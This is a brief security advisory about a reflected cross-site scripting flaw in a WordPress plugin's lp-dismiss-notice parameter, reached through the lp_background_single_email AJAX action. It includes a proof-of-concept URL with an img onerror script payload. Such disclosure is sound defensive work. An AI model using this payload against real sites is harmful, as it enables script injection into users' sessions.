The plugin does not sanitise and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx%3Cimg%20src%20onerror=alert(`XSS`)%3E